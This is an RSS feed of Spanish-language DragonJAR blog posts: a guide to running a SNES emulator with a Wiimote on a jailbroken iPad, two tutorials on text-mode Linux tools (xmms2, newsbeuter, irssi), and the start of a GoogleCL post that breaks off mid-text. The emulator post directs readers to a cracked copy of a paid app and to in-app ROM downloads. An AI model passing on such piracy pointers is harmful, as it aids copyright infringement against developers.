<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>La Comunidad DragonJAR &#187; consola</title> <atom:link href="http://www.dragonjar.org/tag/consola/feed" rel="self" type="application/rss+xml" /><link>http://www.dragonjar.org</link> <description>Noticias de actualidad y seguridad informática, herramientas de seguridad, documentación y una excelente COMUNIDAD.</description> <lastBuildDate>Sat, 11 Feb 2012 22:13:24 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>iPad + Wiimote = Consola Arcade Portable</title><link>http://www.dragonjar.org/ipad-wiimote-consola-arcade-portable.xhtml</link> <comments>http://www.dragonjar.org/ipad-wiimote-consola-arcade-portable.xhtml#comments</comments> <pubDate>Wed, 25 May 2011 05:46:55 +0000</pubDate> <dc:creator>DragoN</dc:creator> <category><![CDATA[Variado]]></category> <category><![CDATA[consola]]></category> <category><![CDATA[control]]></category> <category><![CDATA[iPad]]></category> <category><![CDATA[snes]]></category> <category><![CDATA[super nintendo]]></category> <category><![CDATA[Wii]]></category> <category><![CDATA[Wiimote]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=6476</guid> <description><![CDATA[En la pasada WWCD, los ejecutivos de Apple afirmaron que iOS es la mayor plataforma de juegos, posee aproximadamente 50 millones de usuarios registrados (un numero muy superior a los conseguidos por Live y por PSN) y esto es gracias a las características de sus dispositivos que permiten a los desarrolladores innovar de muchas formas con sus [...]]]></description> <content:encoded><![CDATA[<p
style="float:right; margin:0 0 10px 15px; width:240px;"> <img
src="http://www.dragonjar.org/wp-content/uploads/2011/05/iPad-Arcade-1.jpg" width="240" title="iPad + Wiimote = Consola Arcade Portable" alt="iPad Arcade 1 iPad + Wiimote = Consola Arcade Portable" /></p><p>En la pasada <a
href="http://developer.apple.com/wwdc/">WWCD</a>, los ejecutivos de Apple afirmaron que iOS es la mayor plataforma de juegos, posee aproximadamente 50 millones de usuarios registrados (un numero muy superior a los conseguidos por Live y por PSN) y esto es gracias a las características de sus dispositivos que permiten a los desarrolladores innovar de muchas formas con sus creaciones.</p><p
style="text-align: center;"><img
class="alignnone" title="iPad Arcade Snes Wiimote" src="http://www.dragonjar.org/wp-content/uploads/2011/05/iPad-Arcade-1.jpg" alt="iPad Arcade 1 iPad + Wiimote = Consola Arcade Portable" width="580" height="433" /></p><p>Una de las características de los dispositivos iOS (Jailbreakeado) es la posibilidad de emular otras consolas (Nintendo, Genesis, <a
href="http://www.dragonjar.org/tag/super-nintendo" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con super nintendo">Super Nintendo</a>, Play Station, N64, etc..); Hoy vamos a ver como instalar uno de estos emuladores que cuenta con características especiales, como la posibilidad de descargar roms directamente de él y conectar via Bluetooth un <a
href="http://www.dragonjar.org/tag/control" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con control">control</a> de Nintendo <a
href="http://www.dragonjar.org/tag/wii" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Wii">Wii</a>!!.<span
id="more-6476"></span></p><h2>Para jugar Super Nintendo (se pueden otras consolas) en nuestro dispositivo <a
href="http://www.dragonjar.org/tag/ipad" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con iPad">iPad</a> (también puede ser un iPod Touch o iPhone) necesitamos:</h2><ul><li>Un dispositivo iOS (iPad, iPhone o iPod Touch)</li><li><a
href="http://www.dragonjar.org/jailbreak-al-iphone-4-3g-3gs-o-ipod-touch-con-ios-4-3-4-3-1-o-4-3-2.xhtml">Tener Cydia instalado (véase hacer jailbreak)</a></li></ul><p>El emulador que vamos a utilizar se llama <a
href="http://www.dragonjar.org/tag/snes" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con snes">SNES</a> A.D.X Plus se encuentra <a
href="http://anonym-url.com/go.php?to=http://modmyi.com/cydia/package.php?id=25801">disponible en la tienda alternativa Cydia por un precio de 3.49USD</a>, o lo puedes encontrar <strong>&#8220;cracktis&#8221; </strong>en <a
href="http://cracktouch.com/">el repositorio colombiano de Cydia CrackTouch</a>.</p><p><img
class="size-full wp-image-6485 aligncenter" title="iPad Arcade-9" src="http://www.dragonjar.org/wp-content/uploads/2011/05/iPad-Arcade-9.jpg" alt="iPad Arcade 9 iPad + Wiimote = Consola Arcade Portable" width="580" height="773" /></p><p>Después de descargar el emulador desde Cydia o CrackTouch (como prefieras), pasamos a instalarlo y reiniciar nuestro sistema.</p><p
style="text-align: center;"><img
class="alignnone size-full wp-image-6486" title="iPad Arcade-3" src="http://www.dragonjar.org/wp-content/uploads/2011/05/iPad-Arcade-3.jpg" alt="iPad Arcade 3 iPad + Wiimote = Consola Arcade Portable" width="580" height="773" /></p><p>Abrimos el icono de <strong>&#8220;SNES A.D.X +&#8221;</strong> y después pulsamos el boton <strong>&#8220;Find Game&#8221;</strong> que se encuentra en la esquina superior derecha de la aplicacion.</p><p
style="text-align: center;"><img
class="alignnone size-full wp-image-6487" title="iPad Arcade-4" src="http://www.dragonjar.org/wp-content/uploads/2011/05/iPad-Arcade-4.jpg" alt="iPad Arcade 4 iPad + Wiimote = Consola Arcade Portable" width="580" height="773" /></p><p>Buscamos el juego que nos interesa, en nuestro caso seria Super Mario All Start (todo un clásico) y le damos  <strong>&#8220;Download Now!!!&#8221;</strong>.</p><p
style="text-align: center;"><img
class="alignnone size-full wp-image-6488" title="iPad Arcade-6" src="http://www.dragonjar.org/wp-content/uploads/2011/05/iPad-Arcade-6.jpg" alt="iPad Arcade 6 iPad + Wiimote = Consola Arcade Portable" width="580" height="773" /></p><p>Una vez terminada la descarga, damos click en el botón<strong> &#8220;Done&#8221;</strong> y con esto ya tendremos la rom en nuestro emulador, ahora pasamos a configurar nuestro control de Wii.</p><p
style="text-align: center;"><img
class="alignnone size-full wp-image-6489" title="iPad Arcade-7" src="http://www.dragonjar.org/wp-content/uploads/2011/05/iPad-Arcade-7.jpg" alt="iPad Arcade 7 iPad + Wiimote = Consola Arcade Portable" width="580" height="773" /></p><p>Damos click en <strong>&#8220;Settings&#8221;</strong> y habilitamos el botón <strong>&#8220;<a
href="http://www.dragonjar.org/tag/wiimote" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Wiimote">Wiimote</a>&#8221;</strong>.</p><p
style="text-align: center;"><img
class="alignnone size-full wp-image-6490" title="iPad Arcade-8" src="http://www.dragonjar.org/wp-content/uploads/2011/05/iPad-Arcade-8.jpg" alt="iPad Arcade 8 iPad + Wiimote = Consola Arcade Portable" width="580" height="773" /></p><p>El <strong>SNES A.D.X Plus</strong> automáticamente habilitará el Bluetooth de tu dispositivo y empezará a buscar el Wiimote, es ahí donde presionas el botón 1 y 2 del Wiimote al mismo tiempo, hasta que lo detecte y habilite.</p><p>Con esto ya tendremos nuestro Wiimote configurado y listo para usar en nuestros juegos, podemos configurar varios Wiimote para jugar con alguien o usar el particular modo espejo <strong>(Settings/Orientation/Mirror mode)</strong> que permite dividir la pantalla de tu dispositivo en 2, permitiendo que juguemos con un amigo en el mismo dispositivo con controles virtuales.</p><p>Espero que saques jugo a tu equipo y revivas experiencias con los juegos de tu infancia&#8230; (o mires lo que jugaban los viejos si eres menor&#8230;)</p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/montando-la-pantalla-tactil-a-bajo-costo-de-jhonny-lee.xhtml" title="Montando la Pantalla Táctil a Bajo Costo de Jhonny Lee">Montando la Pantalla Táctil a Bajo Costo de Jhonny Lee</a></li><li><a
href="http://www.dragonjar.org/johnny-lee-en-ted.xhtml" title="Johnny Lee, en TED">Johnny Lee, en TED</a></li><li><a
href="http://www.dragonjar.org/pantalla-touchscreen-sin-tocar-la-pantalla.xhtml" title="Pantalla TouchScreen sin tocar la Pantalla">Pantalla TouchScreen sin tocar la Pantalla</a></li><li><a
href="http://www.dragonjar.org/utilizan-el-touchscreen-con-el-wiimote-para-mejorar-aprendizaje.xhtml" title="Utilizan el TouchScreen con el WiiMote para mejorar Aprendizaje">Utilizan el TouchScreen con el WiiMote para mejorar Aprendizaje</a></li><li><a
href="http://www.dragonjar.org/sensacion-de-3d-real-usando-el-wiimote.xhtml" title="Sensación de 3D real usando el Wiimote">Sensación de 3D real usando el Wiimote</a></li><li><a
href="http://www.dragonjar.org/convierte-cualquier-pantalla-en-touchscreen-con-el-wiimote.xhtml" title="Convierte cualquier Pantalla en TouchScreen con el Wiimote">Convierte cualquier Pantalla en TouchScreen con el Wiimote</a></li><li><a
href="http://www.dragonjar.org/ver-contenido-de-itunes-en-el-wii.xhtml" title="Ver contenido de iTunes en el Wii">Ver contenido de iTunes en el Wii</a></li><li><a
href="http://www.dragonjar.org/como-construir-aplicaciones-seguras-para-ios-iphone-ipad-ipod-touch.xhtml" title="Cómo construir aplicaciones seguras para iOS (iPhone, iPad, iPod Touch)">Cómo construir aplicaciones seguras para iOS (iPhone, iPad, iPod Touch)</a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/ipad-wiimote-consola-arcade-portable.xhtml/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>La vida en modo texto II</title><link>http://www.dragonjar.org/la-vida-en-modo-texto-ii.xhtml</link> <comments>http://www.dragonjar.org/la-vida-en-modo-texto-ii.xhtml#comments</comments> <pubDate>Sun, 06 Mar 2011 20:14:15 +0000</pubDate> <dc:creator>Cronopio</dc:creator> <category><![CDATA[GNU/Linux]]></category> <category><![CDATA[consola]]></category> <category><![CDATA[Texto]]></category> <category><![CDATA[Utilidades]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=1093</guid> <description><![CDATA[Esta es la segunda parte del articulo, por favor inicie leyendo la primera parte. Cliente IRC El IRC es un sistema muy usado de mensajería instantánea, básicamente debemos instalar un cliente en nuestro computador y conectarnos a uno de los tantos servers que hay en internet, los servidores tienen canales para tratar diferentes temáticas. DragonJAR [...]]]></description> <content:encoded><![CDATA[<p>Esta es la segunda parte del articulo, por favor inicie leyendo la <a
href="http://www.dragonjar.org/la-vida-en-modo-texto-i.xhtml">primera parte</a>.</p><p><span
id="more-1093"></span></p><p><strong>Cliente IRC</strong></p><p>El IRC es un sistema muy usado de mensajería instantánea, básicamente debemos instalar un cliente en nuestro computador y conectarnos a uno de los tantos servers que hay en internet, los servidores tienen canales para tratar diferentes temáticas. <a
href="http://comunidad.dragonjar.org/index.php?topic=150.0">DragonJAR también tiene su canal de IRC</a>.</p><p>El cliente en modo <a
href="http://www.dragonjar.org/tag/texto" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Texto">texto</a> para IRC no puede ser otro que <a
href="http://www.irssi.org/">irssi</a>. Dentro de las diferentes características de irssi podemos destacar:</p><ul><li>Permite auto conectarse a varios servidores y varios canales.</li><li>Posee una interfaz personalizable.</li><li>Se pueden definir accesos rápidos desde tecleado y comandos personalizados.</li><li>Permite extender su funcionalidad mediante scripts en perl.</li><li>Puedes configurar tu irssi para que funcione como un proxy para otros clientes.</li></ul><p>Para conectarse a una red, por ejemplo la de DragonJAR tenemos que ejecutar los siguientes comandos después de inicializado irssi.</p><blockquote><p><strong>/CONNECT irc.chatx.net</strong></p></blockquote><p>Esto nos conectara con el servidor irc.chatx.net y mostrara algo como:</p><p
style="text-align: center;"><a
href="http://img145.imageshack.us/my.php?image=05nr4.jpg" target="_blank"><img
class="aligncenter" src="http://img145.imageshack.us/img145/840/05nr4.th.jpg" border="0" alt="05nr4.th La vida en modo texto II"  title="La vida en modo texto II" /></a></p><p>Ahora para entrar al canal que queremos, solo tenemos que teclear <strong>/JOIN #DragonJAR</strong> y esto mostrará:</p><p
style="text-align: center;"><a
href="http://img368.imageshack.us/my.php?image=06jb5.jpg" target="_blank"><img
class="aligncenter" src="http://img368.imageshack.us/img368/662/06jb5.th.jpg" border="0" alt="06jb5.th La vida en modo texto II"  title="La vida en modo texto II" /></a></p><p>A este punto ya puedes chatear sin problemas. Ahora lo interesante es que podemos guardar esta configuración para no tener que repetir estos pasos la próxima vez que arranquemos irssi.</p><p>La configuración tiene un concepto de <strong>NETWORK</strong> (Red) que puede tener varios <strong>SERVER</strong> (Servidores) y podemos definir varios <strong>CHANNELS</strong> (Canales) para una NETWORK. Para crear una red llamada Dragonjar el comando es:</p><blockquote><p><strong>/NETWORK ADD Dragonjar</strong></p></blockquote><p>Para agregar un server a esta red, tecleamos:</p><blockquote><p><strong>/SERVER ADD -auto -network Dragonjar irc.chatx.net 6667</strong></p></blockquote><p>El parámetro <strong>-auto</strong> es para que se conecte a ese servidor cuando arranca, para agregar un canal a la red tecleamos:</p><blockquote><p><strong>/CHANNEL ADD -auto #DragonJAR Dragonjar</strong></p></blockquote><p>En irssi existen ventanas asociadas a un identificador, la ventana 1 es siempre la ventana de status y por cada canal en que entremos tendremos una nueva ventana. Para cambiar entre ventanas se usa una tecla META que por lo regular es ALT y el ID de la ventana, por ejemplo para pasar a la ventana 2 presionamos ALT+2, en caso de que ALT no funcione también podemos usar la tecla ESC.</p><p>Por ejemplo pensemos que estamos conectados a 3 canales (Dragonjar, Debian y Colibri), para pasar de un canal a otro solo tenemos que teclear ATL+2 o ALT+3 o ALT+4. Recordemos que ALT+1 es siempre la ventana de status. Ahora pensemos que queremos ver dos canales al mismo tiempo (Dragonjar y Debian) entonces lo que tenemos que hacer es escribir el siguiente comando:</p><blockquote><p><strong>/WINDOW SHOW 3</strong></p></blockquote><p>Lo que indica esto es que donde estemos parados dividirá la pantalla en 2 ventanas. Abajo pondrá la ventana actual y arriba pondrá la ventana 3 (la de Debian en este caso). Podremos ver algo como:</p><p
style="text-align: center;"><a
href="http://img152.imageshack.us/my.php?image=07rm3.jpg" target="_blank"><img
class="aligncenter" src="http://img152.imageshack.us/img152/512/07rm3.th.jpg" border="0" alt="07rm3.th La vida en modo texto II"  title="La vida en modo texto II" /></a></p><p>Además si nuestra pantalla es grande podemos ver 3 ventanas al mismo tiempo escribiendo:</p><blockquote><p><strong>/WINDOW SHOW 4</strong></p></blockquote><p>Esto dividirá la pantalla en la que estemos en 2 y mostrara abajo la ventana actual y arriba pondrá la venta 4, algo como:</p><p
style="text-align: center;"><a
href="http://img155.imageshack.us/my.php?image=08sp1.jpg" target="_blank"><img
class="aligncenter" src="http://img155.imageshack.us/img155/9885/08sp1.th.jpg" border="0" alt="08sp1.th La vida en modo texto II"  title="La vida en modo texto II" /></a></p><p>irssi tiene mas funcionalidades y opciones, para mas información por favor revise la documentación y si continua teniendo dudas o problemas recuerde que podemos charlarlo en el <a
href="http://comunidad.dragonjar.org">foro</a>.</p><p>Espero que este articulo despierte el interés de muchos y descarguen estas aplicaciones, las prueben y discutamos sus diferentes funcionalidades, quizá hasta encontremos aplicaciones mejores que estas.</p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/la-vida-en-modo-texto-i.xhtml" title="La vida en modo texto I">La vida en modo texto I</a></li><li><a
href="http://www.dragonjar.org/samurai-entorno-de-trabajo-para-el-testing-de-seguridad-a-aplicativos-web.xhtml" title="Samurai, Entorno de trabajo para el testing de seguridad a aplicativos Web">Samurai, Entorno de trabajo para el testing de seguridad a aplicativos Web</a></li><li><a
href="http://www.dragonjar.org/consejos-simples-de-seguridad-para-ir-a-la-campus-party.xhtml" title="Consejos Simples de Seguridad para ir a la Campus Party">Consejos Simples de Seguridad para ir a la Campus Party</a></li><li><a
href="http://www.dragonjar.org/configurando-ipv6-en-nuestro-equipo.xhtml" title="Configurando IPv6 en nuestro equipo">Configurando IPv6 en nuestro equipo</a></li><li><a
href="http://www.dragonjar.org/ipad-wiimote-consola-arcade-portable.xhtml" title="iPad + Wiimote = Consola Arcade Portable">iPad + Wiimote = Consola Arcade Portable</a></li><li><a
href="http://www.dragonjar.org/ssdownloader-gestor-de-descargas-para-herramientas-de-seguridad.xhtml" title="SSDownloader &#8211; Gestor de descargas para Herramientas de Seguridad">SSDownloader &#8211; Gestor de descargas para Herramientas de Seguridad</a></li><li><a
href="http://www.dragonjar.org/truecrypt-cifra-tu-informacion-en-particiones-virtuales.xhtml" title="TrueCrypt &#8211; Cifra tu información en particiones virtuales">TrueCrypt &#8211; Cifra tu información en particiones virtuales</a></li><li><a
href="http://www.dragonjar.org/google-por-linea-de-comandos.xhtml" title="Google por linea de comandos">Google por linea de comandos</a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/la-vida-en-modo-texto-ii.xhtml/feed</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>La vida en modo texto I</title><link>http://www.dragonjar.org/la-vida-en-modo-texto-i.xhtml</link> <comments>http://www.dragonjar.org/la-vida-en-modo-texto-i.xhtml#comments</comments> <pubDate>Sat, 05 Mar 2011 19:06:08 +0000</pubDate> <dc:creator>Cronopio</dc:creator> <category><![CDATA[GNU/Linux]]></category> <category><![CDATA[consola]]></category> <category><![CDATA[Texto]]></category> <category><![CDATA[Utilidades]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=1088</guid> <description><![CDATA[Soy un apasionado del modo texto, no solo por su poder si no por su rapidez y efectividad. Muchos lectores les gustaran las cosas &#8220;waayy&#8221; como el Compiz Fusion o cualquier otra cosa que resalte por su icono tipo Crystal o Web 2.0 y esto no es malo solo que no es del todo funcional [...]]]></description> <content:encoded><![CDATA[<p>Soy un apasionado del modo <a
href="http://www.dragonjar.org/tag/texto" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Texto">texto</a>, no solo por su poder si no por su rapidez y efectividad. Muchos lectores les gustaran las cosas <em>&#8220;waayy&#8221;</em> como el <a
href="http://www.youtube.com/watch?v=qn4QoHP9dXk">Compiz Fusion</a> o cualquier otra cosa que resalte por su icono tipo Crystal o Web 2.0 y esto no es malo solo que no es del todo <strong>funcional</strong> pero si muy muy bonito. Igual tu ¿comprarías un carro por evaluar su latonería y pintura o por su motor?</p><p>Otra razón para estar inmerso en el modo texto es la maquina que tengo: Pentium M 1.70 MHz, 512MB de Ram y 60 Gb de Disco. Esto hace que si trato de usar <a
href="http://www.kde.org/">KDE</a> con muchas aplicaciones el sistema se torne lento y más si trato de usar un escritorio 3D. Pero nunca sucede esto si tengo varias aplicaciones en modo texto. Por ahora les contaré de 3 aplicaciones que uso en modo texto.</p><p><span
id="more-1088"></span></p><p><strong>Reproductor de Música</strong><br
/> <img
src="http://wiki.xmms2.xmms.se/w/images/6/68/Logo-white-128.png" alt="Logo white 128 La vida en modo texto I"  title="La vida en modo texto I" /></p><p>Algunos usuarios antiguos de <a
href="http://www.dragonjar.org/tag/gnulinux" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con GNU/Linux">GNU/Linux</a> recordaran el grandioso <a
href="http://www.xmms.org/">xmms</a> similar a Winamp. El xmms ha frenado su desarrollo y algunas personas consideran su código obsoleto, por eso un grupo de programadores le a dado vida al mejorado XMMS2<br
/> Dentro de las cosas mas impresionantes de xmms2 es su funcionamiento cliente-servidor donde en el fondo corre el servidor que pone la música (<em>xmms2d</em>) y si necesitamos interactuar con él (pasar la canción, play, pause) lo hacemos desde el cliente (<em>xmms2</em>) y además hay varios clientes gráficos (<a
href="http://wiki.xmms2.xmms.se/wiki/Client:Esperanza">esperanza</a>, <a
href="http://wejp.k.vu/projects/xmms2/">gxmms2</a>, <a
href="http://x4x.sourceforge.net/">X4X</a> y <a
href="http://wiki.xmms2.xmms.se/wiki/Clients">muchos otros</a>) y clientes web.</p><p>Mostrare el uso básico del cliente en modo texto que trae por defecto el xmms2. Primero que todo la sintaxis básica:</p><blockquote><p>xmms2 comando<br
/> xmms2 modulo comando</p></blockquote><p>El xmms2 tiene diferentes <em>módulos</em> entre ellos el playlist. Para agregar canciones al playlist:</p><blockquote><p>xmms2 add cancion.mp3</p></blockquote><p>Para agregar todo un directorio al playlist:</p><blockquote><p>xmms2 radd directorio/</p></blockquote><p>Algunos comandos básicos son:</p><blockquote><p>xmms2 play       # Darle play a una cancion<br
/> xmms2 pause    # Pausar una cancion<br
/> xmms2 next       # Pasar a la siguiente cancion del playlist<br
/> xmms2 jump 14 # Saltar a la cancion numero 14 del playlist<br
/> xmms2 list          # Mostrar el playlist<br
/> xmms2 current   # Mostrar el Autor y el titulo de la cancion actual</p></blockquote><p>Para mas información de comandos puede ver el manual: <em>man xmms2<br
/> </em>Un interesante plug-in de xmms2 es su <a
href="http://code-monkey.de/pages/xmms2-scrobbler">xmms2-Scrobbler</a> el cual es un cliente <a
href="http://www.audioscrobbler.com/">audioscrobbler</a> que permite enviar la información necesaria a <a
href="http://www.lastfm.es/">Last.fm</a> como ejemplo pueden ver <a
href="http://www.lastfm.es/user/cronopio2">mi perfil</a>. Si alguien tiene dudas o problemas en usar/configurar este programa podemos debatirlo en el <a
href="http://comunidad.dragonjar.org">foro</a>.</p><p><strong>Lector de Noticias RSS</strong><br
/> <a
href="http://imageshack.us"><img
src="http://img133.imageshack.us/img133/9256/rsslogosy5.jpg" border="0" alt="rsslogosy5 La vida en modo texto I"  title="La vida en modo texto I" /></a><br
/> La aplicación que uso para los feeds RSS es <a
href="http://www.newsbeuter.org/">newsbeuter</a> un lector de RSS en modo texto. Algunos dicen que newsbeuter es el <a
href="http://www.mutt.org/">mutt</a>(cliente de correo en modo texto) de los RSS. Dentro de las características de newsbeuter podemos destacar:</p><ul><li>Soporte para feeds Atom, RSS 0.9x, RSS 1.0 y RSS 2.0</li><li>Personalización con accesos rápidos desde el teclado.</li><li>Búsqueda en los artículos descargados.</li><li>Categorización de feeds por medio de tags.</li><li>Permite integrarle plug-ins.</li><li>Sincronización con cuentas en bloglines.com</li><li>Permite importar y exportar por medio de archivos OPML</li><li>Interfaz configurable</li></ul><p>Para poder arrancar el programa después de instalado se debe tener definido un archivo de URL, este archivo contiene la lista de los feeds tuyos. En sistemas GNU/Linux regulares el archivo de configuración se encuentra en <strong>~/.newsbeuter/urls</strong> y tiene una sintaxis como la siguiente:</p><blockquote><p>http://servidor.com/feed.php &#8220;Tag a usar&#8221;</p></blockquote><p>Donde primero se pone la URL del feed y seguido por un espacio y entre comillas se pone el tag que deseamos. Después arrancamos el programa y veremos algo como:</p><p
style="text-align: center;"><a
href="http://img369.imageshack.us/my.php?image=01xt0.jpg" target="_blank"><img
class="aligncenter" src="http://img369.imageshack.us/img369/1395/01xt0.th.jpg" border="0" alt="01xt0.th La vida en modo texto I"  title="La vida en modo texto I" /></a></p><p>Por defecto no descarga los feeds cuando arranca para eso debemos dar <strong><em>r</em></strong> para recargar el feed o <strong><em>R</em></strong> para recargar todos los feeds. Ahora vemos:</p><p
style="text-align: center;"><a
href="http://img127.imageshack.us/my.php?image=02xq9.jpg" target="_blank"><img
class="aligncenter" src="http://img127.imageshack.us/img127/1360/02xq9.th.jpg" border="0" alt="02xq9.th La vida en modo texto I"  title="La vida en modo texto I" /></a></p><p>Para ver el listado de noticias basta con dar enter.</p><p
style="text-align: center;"><a
href="http://img235.imageshack.us/my.php?image=03eh7.jpg" target="_blank"><img
class="aligncenter" src="http://img235.imageshack.us/img235/4866/03eh7.th.jpg" border="0" alt="03eh7.th La vida en modo texto I"  title="La vida en modo texto I" /></a></p><p>Para ver la noticia basta con dar enter.</p><p
style="text-align: center;"><a
href="http://img235.imageshack.us/my.php?image=04ou8.jpg" target="_blank"><img
class="aligncenter" src="http://img235.imageshack.us/img235/7782/04ou8.th.jpg" border="0" alt="04ou8.th La vida en modo texto I"  title="La vida en modo texto I" /></a></p><p>También puedes abrir la noticia en el navegador que uses por defecto presionando la tecla <strong><em>o</em></strong>.</p><p>El Archivo de configuración de newsbeuter se encuentra en <strong>~/.newsbeuter/config</strong> si el archivo no existe o está vacío la configuración por defecto es:</p><blockquote><p>always-display-description false<br
/> article-sort-order date<br
/> articlelist-format      &#8220;%4i %f %D   %?T?;%-17T;  ?%t&#8221;<br
/> auto-reload no<br
/> cache-file &#8220;~/.newsbeuter/cache.db&#8221;<br
/> cleanup-on-quit yes<br
/> confirm-exit no<br
/> datetime-format      %b %d<br
/> display-article-progress yes<br
/> feedlist-format      &#8220;%4i %n %11u %t&#8221;<br
/> goto-next-feed yes<br
/> html-renderer internal<br
/> max-items 0<br
/> notify-format      &#8220;newsbeuter: finished reload, %f unread feeds (%n unread articles total)&#8221;<br
/> notify-screen no<br
/> notify-xterm no<br
/> podcast-auto-enqueue no<br
/> refresh-on-startup no<br
/> reload-only-visible-feeds no<br
/> reload-time 60<br
/> save-path ~/<br
/> show-keymap-hint yes<br
/> show-read-feeds yes<br
/> show-read-articles yes<br
/> suppress-first-reload no</p></blockquote><p>Es muy recomendable que si deseas conocer todas las funcionalidades de newsbeuter leas su documentación. Si algún lector tiene problemas con newsbeuter podemos hablarlo en el foro.</p><p>Continua leyendo la <a
href="http://www.dragonjar.org/la-vida-en-modo-texto-ii.xhtml">segunda parte</a></p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/la-vida-en-modo-texto-ii.xhtml" title="La vida en modo texto II">La vida en modo texto II</a></li><li><a
href="http://www.dragonjar.org/samurai-entorno-de-trabajo-para-el-testing-de-seguridad-a-aplicativos-web.xhtml" title="Samurai, Entorno de trabajo para el testing de seguridad a aplicativos Web">Samurai, Entorno de trabajo para el testing de seguridad a aplicativos Web</a></li><li><a
href="http://www.dragonjar.org/consejos-simples-de-seguridad-para-ir-a-la-campus-party.xhtml" title="Consejos Simples de Seguridad para ir a la Campus Party">Consejos Simples de Seguridad para ir a la Campus Party</a></li><li><a
href="http://www.dragonjar.org/configurando-ipv6-en-nuestro-equipo.xhtml" title="Configurando IPv6 en nuestro equipo">Configurando IPv6 en nuestro equipo</a></li><li><a
href="http://www.dragonjar.org/ipad-wiimote-consola-arcade-portable.xhtml" title="iPad + Wiimote = Consola Arcade Portable">iPad + Wiimote = Consola Arcade Portable</a></li><li><a
href="http://www.dragonjar.org/ssdownloader-gestor-de-descargas-para-herramientas-de-seguridad.xhtml" title="SSDownloader &#8211; Gestor de descargas para Herramientas de Seguridad">SSDownloader &#8211; Gestor de descargas para Herramientas de Seguridad</a></li><li><a
href="http://www.dragonjar.org/truecrypt-cifra-tu-informacion-en-particiones-virtuales.xhtml" title="TrueCrypt &#8211; Cifra tu información en particiones virtuales">TrueCrypt &#8211; Cifra tu información en particiones virtuales</a></li><li><a
href="http://www.dragonjar.org/google-por-linea-de-comandos.xhtml" title="Google por linea de comandos">Google por linea de comandos</a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/la-vida-en-modo-texto-i.xhtml/feed</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Google por linea de comandos</title><link>http://www.dragonjar.org/google-por-linea-de-comandos.xhtml</link> <comments>http://www.dragonjar.org/google-por-linea-de-comandos.xhtml#comments</comments> <pubDate>Wed, 16 Jun 2010 20:25:56 +0000</pubDate> <dc:creator>DragoN</dc:creator> <category><![CDATA[Herramientas Seguridad]]></category> <category><![CDATA[consola]]></category> <category><![CDATA[Google]]></category> <category><![CDATA[python]]></category> <category><![CDATA[Servicio]]></category> <category><![CDATA[Ubuntu]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=4517</guid> <description><![CDATA[Google siempre nos sorprende con sus nuevas herramientas, siempre tratando de ofrecernos todas las facilidades para utilizar sus servicios; Hoy les traigo una nueva utilidad de Google Llamada GoogleCL. Google CL, es una herramienta que permite utilizar todos los servicios de Google desde la linea de comandos, por ejemplo podemos postear artículos en Blogger, subir [...]]]></description> <content:encoded><![CDATA[<p
style="float:right; margin:0 0 10px 15px; width:240px;"> <img
src="http://www.dragonjar.org/wp-content/uploads/2010/06/GoogleCL.jpg" width="240" title="Google por linea de comandos" alt="GoogleCL Google por linea de comandos" /></p><p><a
href="http://www.dragonjar.org/tag/google" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Google">Google</a> siempre nos sorprende con sus nuevas herramientas, siempre tratando de ofrecernos todas las facilidades para utilizar sus servicios; Hoy les traigo una nueva utilidad de <a
href="http://www.dragonjar.org/tag/google" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Google">Google</a> Llamada GoogleCL.</p><p
style="text-align: center;"><img
class="aligncenter" title="Google en Consola de Comandos" src="http://www.dragonjar.org/wp-content/uploads/2010/06/GoogleCL.jpg" alt="GoogleCL Google por linea de comandos" width="500" height="500" /></p><p>Google CL, es una herramienta que permite utilizar todos los servicios de Google desde la linea de comandos, por ejemplo podemos postear artículos en Blogger, subir vídeos a Youtube, fotos a Picasa, realizar búsquedas, revisar contactos, etc.. todo sin salir de nuestra <a
href="http://www.dragonjar.org/tag/consola" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con consola">consola</a>.<span
id="more-4517"></span></p><p>Google CL esta escrito en <a
href="http://www.dragonjar.org/tag/python" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con python">Python</a> y utiliza las librerías <a
rel="nofollow" href="http://code.google.com/p/gdata-python-client/">gdata-python-client  library</a>, es multiplataforma y también existe un paquete <a
